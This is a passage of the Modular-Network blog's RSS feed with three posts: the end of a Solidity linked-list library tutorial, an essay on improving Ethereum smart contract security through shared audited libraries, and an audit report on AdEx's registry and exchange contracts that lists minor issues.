above.</p><p><strong>Indexing with uint256:</strong></p><p>If you think about it, these could be indexed with any data type, but I chose uint256. I think this is the best choice because it allows for linked lists sorted smallest to largest. This again allows for easy lookups and inserts, because when searching for a sorted spot, you can use knowledge about what is already in the list to expedite the search, saving gas.</p><pre>/// @dev Can be used before `insert` to build an ordered list<br>/// @param self stored linked list from contract<br>/// @param _node an existing node to search from, e.g. HEAD.<br>/// @param _value value to seek<br>/// @param _direction direction to seek in<br>//  @return next first node beyond &#39;_node&#39; in direction `_direction`<br>function getSortedSpot(LinkedList storage self, uint256 _node, uint256 _value, bool _direction)<br>internal view returns (uint256)<br>{<br>    if (sizeOf(self) == 0) { return 0; }<br>    require((_node == 0) || nodeExists(self,_node));</pre><pre>    bool exists;<br>    uint256 next;<br>    (exists,next) = getAdjacent(self, _node, _direction);</pre><pre>    while  ((next != 0) &amp;&amp; (_value != next) &amp;&amp; ((_value &lt; next) != _direction)) next = self.list[next][_direction];</pre><pre>    return next;<br>}</pre><p>As you can see, you can make a prediction about where the node to be inserted will go, potentially speeding up the search. Obviously, the search is still O(n), but can potentially be sped up.</p><p><strong>Descriptive Function Returns:</strong></p><p>You’ll see that some of the functions return multiple values, some including booleans. That is because I want the contracts to be as easy to use and understand as possible. I only want state to get modified if arguments are sent correctly. This is something that we believe is a good design practice for smart contracts in general.</p><blockquote>Unless explicitly needed, always do whatever you can to ensure that the sender of function calls is sending all the correct arguments, even if it is the owner of the contract.</blockquote><p>People make mistakes all the time and it is important to help avoid those causing issues.</p><pre>/// @dev Returns the link of a node `_node` in direction `_direction`.<br>/// @param self stored linked list from contract<br>/// @param _node id of the node to step from<br>/// @param _direction direction to step in<br>function getAdjacent(LinkedList storage self, uint256 _node, bool _direction)<br>    internal view returns (bool,uint256)<br>{<br>    if (!nodeExists(self,_node)) {<br>        return (false,0);<br>    } else {<br>        return (true,self.list[_node][_direction]);<br>    }<br>}</pre><h3>Using the Library in Your Contract</h3><p>You can find examples in the repo about how to use the Linked List library, but I will give a quick rundown of how to use it.</p><ol><li>Copy the LinkedListLib.sol into your contracts folder.</li><li>Include these lines at the beginning of your contract:</li></ol><pre>import &quot;./LinkedListLib.sol&quot;;<br><br>contract &lt;Contract Name&gt; {<br>	using LinkedListLib for LinkedListLib.LinkedList;<br><br>	uint256 constant NULL = 0;<br>  	uint256 constant HEAD = 0;<br>  	bool constant PREV = false;<br>  	bool constant NEXT = true;<br><br>	LinkedListLib.LinkedList list;</pre><p>3. Thats it! Now you can call any of the functions in the library by using the dot operator.</p><pre>return list.getAdjacent(_node,_direction);</pre><p>We have more detailed instructions in our repo for this and all our other libraries! Go check us out!</p><h3>Conclusion</h3><p>Again, <a href="https://github.com/Modular-Network/ethereum-libraries/tree/master/LinkedListLib">here is the link</a> to our library that you can use.</p><p>I hope you all enjoyed my quick foray into Solidity linked lists! We’re always looking for ways to improve, so any suggestions about the implementation to help with security, usability, efficiency, or documentation are greatly encouraged and appreciated!</p><p>We care a lot about making Ethereum secure and useable, so check out our <a href="https://modular.network/">website</a> to see what we do!</p><p><em>Thanks to </em><a href="https://medium.com/u/9504cccc65eb"><em>C. Brown</em></a><em> for help on the article and library.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=41ee6d1d0056" width="1" height="1" alt=""><hr><p><a href="https://medium.com/modular-network/circular-linked-list-in-solidity-41ee6d1d0056">Circular Linked List in Solidity!</a> was originally published in <a href="https://medium.com/modular-network">Modular-Network</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Improving Security on Ethereum]]></title>
            <link>https://medium.com/modular-network/improving-security-on-ethereum-457fd77ec0ce?source=rss----7aa66edd3fc8---4</link>
            <guid isPermaLink="false">https://medium.com/p/457fd77ec0ce</guid>
            <category><![CDATA[development]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[tech]]></category>
            <dc:creator><![CDATA[C. Brown]]></dc:creator>
            <pubDate>Tue, 12 Dec 2017 01:57:12 GMT</pubDate>
            <atom:updated>2017-11-04T05:22:56.713Z</atom:updated>
            <content:encoded><![CDATA[<h4>How Majoolr does it.</h4><p>It has been quite a year for Ethereum as evidenced by the tremendous announcements at Devcon3. Our team is excited about small things like <a href="https://github.com/ethjs/ethjs">ethjs</a> from <a href="https://medium.com/u/587e336ec1ea">Nick Dodson</a> and big things like the virtual machine being developed by our friends <a href="https://medium.com/u/2d9bc3e711c3">Jason Teutsch</a> and <a href="https://www.linkedin.com/in/robbiebent/">Robbie Bent</a> at <a href="https://truebit.io/">TrueBit</a>. This year has seen the biggest ups and downs any revolution could hope for; billions of dollars invested and millions of dollars lost or stolen. <em>Wait.. what?!?</em> Millions of dollars lost or stolen? Is this acceptable within the Ethereum ecosystem? Absolutely not, but it’s a necessary evil to learn important lessons. So what lessons have we learned and what are we doing about it?</p><h3>Insecure code will be exploited</h3><p>We obtain a lot of benefits when putting applications in a distributed network. Automated changes in a shared global database has unlocked efficiency in the transfer of value never before seen in human history. <em>Every value producing team in the ecosystem can literally mint millions of dollars of their value in a few seconds and distribute it</em>. It’s amazing what this Ethereum thing can do, you should try it. Well…. maybe not yet, usability and scale just isn’t quite there, but we’re getting close! More importantly though is the downside to this automated machine being cloned into everyone’s device, <strong>everyone has a clear view of the systems in it</strong>.</p><p>There are no secrets in the Ethereum network, that’s the whole point. This means that anyone can look under the hood and, with the right tools, can see exactly what will happen when they make any call to any application. It works great when you need to validate that you will receive funds from someone else through an agreed upon automated means. It doesn’t seem to work so well when a keen eye notices your funds are actually available right now without question because the code is written to allow it. Probably by mistake, but written that way nonetheless.</p><p><strong><em>Notice I didn’t say hacker nor did I say steal</em></strong>. You see, there is a certain framework of thought being developed in this system which I would say I believe in. <strong>Code is law</strong>. This seems to be the only way we can confidently move forward as a community with a consistent standard. Now I understand the difference between action and intent but the fact is, more often than not, you’re swimming in a pool of subjectivity. If the intent of a bit of logic was to keep your funds safe in a certain location within the global database, and not allow anyone to withdraw it, the code should have been written as such. If the code was written such that it allowed someone to withdraw those funds, we must assume intent in all cases in order avoid subjectivity. Yes, for those familiar, this was not the position taken by folks at a key point in time, but that was then and this is now.</p><p>What’s the point? <strong><em>Source code security, defining the exact intent and purpose of the logic, in the logic, is of paramount importance for all systems in Ethereum.</em></strong></p><h3>The ok way</h3><p>Any legitimate team developing distributed applications must maintain basic coding hygiene at the very least. This includes passing contracts between developers, clear documentation, and robust testing. This meets a bare minimum standard for custom development but probably not suitable for any live application on mainnet. There could be knowledge gaps within a small group as a whole or bad practices not being checked by an outsider’s perspective.</p><h3>A better way</h3><p>In the wake of famous events that gave ownership of assets to unexpected accounts, security standards really picked up. Tools were developed and teams such as <a href="https://medium.com/u/d210fc95f79">ConsenSys Diligence</a> were hired to provide code audits which gave an independent expert’s perspective into the code written. These became, and still are, an important step to take when developing applications that handle real assets within the Ethereum network. There’s no telling how many vulnerabilities have been avoided by taking this precautionary step. There’s a catch with these though, a good audit takes a significant amount of expertise, attention to detail, and time to produce. The cost is high. This leads to the question, when it comes to<em> common logic</em> such as tokens, do we actually need independent instances of this logic requiring an audit?</p><h3>The best way</h3><p>The Ethereum Virtual Machine provides us the ability to develop and deploy code libraries that are shared among contracts. It is obvious to me, in a distributed ledger, with immutable code, that internal libraries should be the most abused feature of the whole thing, YET they’re not.</p><p>Let’s take the most obvious common logic for example, an ERC-20 token. ERC-20 defines a code standard which EVERY compliant token contract must have. The fact that we have independent token contracts being written, <em>complete with all logic included</em>, and subsequently audited tells me that there is still a lack of understanding in development circles. <a href="https://majoolr.io/">Majoolr</a> has a<a href="https://github.com/Majoolr/ethereum-libraries"> token library</a> deployed at 0x02d509d0af485c8da54d8aeb42c624e7d9e2eeb6 on mainnet which includes all standard ERC-20 functions. <strong>This library contract is permanently and verifiably placed at this location</strong>, <a href="https://etherscan.io/address/0x02d509d0af485c8da54d8aeb42c624e7d9e2eeb6#code">check it out on etherscan</a>. What does this mean? Never again, <strong><em>for the history of Ethereum does any development team need to write logic for an ERC-20 contract</em></strong>, they simply need to link it to this library. Currently this goes for any array utility we have available, math, tokens, multisig wallets, and yes, even crowdsales. The implementation of crowdsales using our libraries must be understood but the logic is there and deployed. To ensure you get it properly deployed<a href="https://majoolr.io/"> you should contact us</a> to do it ;) .</p><p>The point is libraries are highly effective and we at Majoolr <a href="https://github.com/Majoolr/ethereum-libraries">have an open source repo full of them</a>. These are completely open for inspection, testing, validation, and usage. <strong>Using what is already tested and available in a distributed network is by far the best way to ensure those pieces of your logic are good go</strong>.</p><p><strong><em>We have a strong team</em></strong> at <a href="https://majoolr.io/">Majoolr</a> and are making exciting developments. I can’t wait to share them with you in the near future. In the meantime, <a href="https://discordapp.com/invite/crxYSF2">come holler at us in our discord</a>!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=457fd77ec0ce" width="1" height="1" alt=""><hr><p><a href="https://medium.com/modular-network/improving-security-on-ethereum-457fd77ec0ce">Improving Security on Ethereum</a> was originally published in <a href="https://medium.com/modular-network">Modular-Network</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AdEx Registry/Exchange Contract Audit]]></title>
            <link>https://medium.com/modular-network/adex-registry-exchange-contract-audit-4d5a62004098?source=rss----7aa66edd3fc8---4</link>
            <guid isPermaLink="false">https://medium.com/p/4d5a62004098</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Joshua Hannan]]></dc:creator>
            <pubDate>Mon, 04 Dec 2017 19:12:49 GMT</pubDate>
            <atom:updated>2017-12-04T19:30:09.202Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*nmmDzBY9LHsCB1aigw7-Xg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ehhh2xrQnOE6s_MSO-z65A.png" /></figure><p>The AdEx network team asked us to audit the contracts they have build to run their decentralized Ad Exchange contracts.</p><h3>1.1 URI</h3><p>Audited code was located at <a href="https://github.com/AdExBlockchain/adex-core">https://github.com/AdExBlockchain/adex-core</a></p><h3>1.2 Commit</h3><p>The commit hash for the audited code:</p><p>e724a6dc3499b8fc64ed692a1ff3c9b03458faf4</p><h3>1.3 Files Audited</h3><p>contracts/ADXExchange.sol<br>contracts/ADXRegistry.sol</p><h3>Audit Feedback</h3><h3>2.1 Summary</h3><p>This audit was performed by Modular, Inc to help AdEx identify potential security vulnerabilities in their Ad Registry and Ad Exchange contracts. Two contracts and their accompanying tests were audited. <br> <br> Overall, these crowd sale contracts were written fairly well, using trusted methods and safe coding styles. Using the Zeppelin Ownable, Drainable, ERC20, and SafeMath contracts was a smart choice, cutting down on potential security issues. <br> <br> No critical issues were discovered with these contracts. Some minor issues that affect usability and protect from misuse were found and amended. There are also minor styling and documentation issue recommendations which can be subjective.</p><h3>2.2 Details</h3><h3>2.2.1 Critical Issues</h3><p>Critical issues can be defined as those items that would cause the logic to not function as advertised. For example, logic that could be exploited for an independent party’s gain due to lack of authorization checks, code that would cause funds to be trapped due to non-bounds checking, or outright broken logic.</p><p>No critical issues were discovered in this audit.</p><h3>2.2.2 Major Issues</h3><p>Major issues can be defined as those items that would allow any party to have more leverage than anticipated, but not as serious as critical issues. For example, logic that could be exploited unexpectedly by the owner or would allow otherwise trusted participants to have advantage.</p><p><strong>ADXExchange.sol</strong></p><p><em>Description</em></p><p>Lines 135, 136, 192, and 193: Calls generic getter functions from the ADX Registry contract to serve dual purpose of retrieval and validation</p><p><em>Suggestion</em></p><p>Create explicit functions that are purposeful toward this goal. This does not appear to be meaningful on initial release, however, future code updates may cause unforeseen breaking changes without explicit functions that tie information ADX Exchange needs from ADX Registry</p><h3>2.2.3 Other Information</h3><p><strong>ADXRegistry.sol</strong></p><p><em>Description</em></p><p>There is a consistent use of `var` and `uint` which does not allow a clear definition for variables and types.</p><p><em>Suggestion</em></p><p>Implicit type definitions leave code reviewers to make assumptions. Whether it be for users, internal development updates, or auditors, explicitly defining types rather than relying on `var` or `uint` allows for easier code reviews in the future. Reviewers are not left to make any assumptions and can make clear connections.</p><p><em>Description</em></p><p>Functions and their arguments are not consistently documented.</p><p><em>Suggestion</em></p><p>It is good coding practice to have a consistent method for documenting functions and variables. It is up to the team to choose what works best for them, but the <a href="https://github.com/ethereum/wiki/wiki/Ethereum-Natural-Specification-Format">Ethereum Natspec format</a> is a good place to start.</p><p><em>Description</em></p><p>Arguments to functions are not put in a consistent order.</p><p><em>Suggestion</em></p><p>It is good coding practice for similar functions to always order their arguments in the same relative order. For example, in line 60 for register(), the name argument is the first argument, whereas in line 86 for registerItem, name is the fourth argument. Aligning the order of arguments may make it easier for users to interact with the contract without making mistakes.</p><p><em>Description</em></p><p>Line 22 and 23: counts and items names are not descriptive.</p><p><em>Suggestion</em></p><p>It is good coding practice to name variables in a contract in an easy to understand way. Adding a more descriptive name for counts and items would make for better code readability. Something like itemCounts or itemsByType would suffice.</p><p><em>Description</em></p><p>Some member variables in structs are not completely necessary, such as <em>name</em> and <em>meta</em>.</p><p><em>Suggestion</em></p><p>It is common practice to only include information, functionality, and variables in an Ethereum smart contract that is strictly necessary for the contract to function. Unless these variables are needed for the contract to function, removing them could be a good choice to reduce Gas costs, provide simpler interfaces to users, and reduce the amount of variables that need to be accounted for in the code. This extra information can be kept off chain with a reference to the on-chain ID.</p><p><em>Description</em></p><p>Line 60: `register()` function has no check for `_sig`. Same for `_type` in `registerItem()` function.</p><p><em>Suggestion</em></p><p>Consider whether or not this is purposeful and if `_sig` should be required and/or `_type &lt; enum.length`</p><p><em>Description</em></p><p>Line 86: `registerItem()` function does not have `external` scope definition as was put for `register()`.</p><p><em>Suggestion</em></p><p>For both contracts, the `register()` function was the only non-getter function that explicitly stated the scope. Code should be consistent and scope definitions also show purpose. Consider stating the proper level of scope for all functions.</p><p><strong>ADXExchange.sol</strong></p><p><em>Description</em></p><p>Line 118: Arguments to constructor are not checked for validity</p><p><em>Suggestion</em></p><p>All potential inputs and mistakes should be considered and checked for, even in the constructor. Check that the two arguments aren’t 0.</p><p><em>Description</em></p><p>Line 98: `onlyBidAceptee()` not spelled correctly nor does it accurately represent the relationship</p><p><em>Suggestion</em></p><p>Change to `onlyBidAccepter()` to correct this</p><h3>2.3 Conclusion</h3><p>In conclusion, these contracts were written fairly well and there aren’t any critical issues with security. Testing could be expanded some to have a more objective guarantee of quality, but is not absolutely necessary. With the suggested changes, the contract should behave consistently and be easier for participants to understand and use correctly.</p><p>Modular provides smart contract services and security reviews for software intended to be deployed on EVM enabled networks in addition to working on open source projects in the Ethereum community. We also test, document, and deploy reusable code onto the blockchain and improve both security and usability through our code libraries contained at <a href="https://github.com/Majoolr/ethereum-libraries.">https://github.com/Modular-Network/ethereum-libraries.</a> Finally, we also enjoy educating non-profits, schools, and other community members about the application of blockchain technology.</p><p>For further information: majoolr.io, <a href="/service/mailto:contact@majoolr.io">contact@majoolr.io</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4d5a62004098" width="1" height="1" alt=""><hr><p><a href="https://medium.com/modular-network/adex-registry-exchange-contract-audit-4d5a62004098">AdEx Registry/Exchange Contract Audit</a> was originally published in <a href="https://medium.com/modular-network">Modular-Network</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>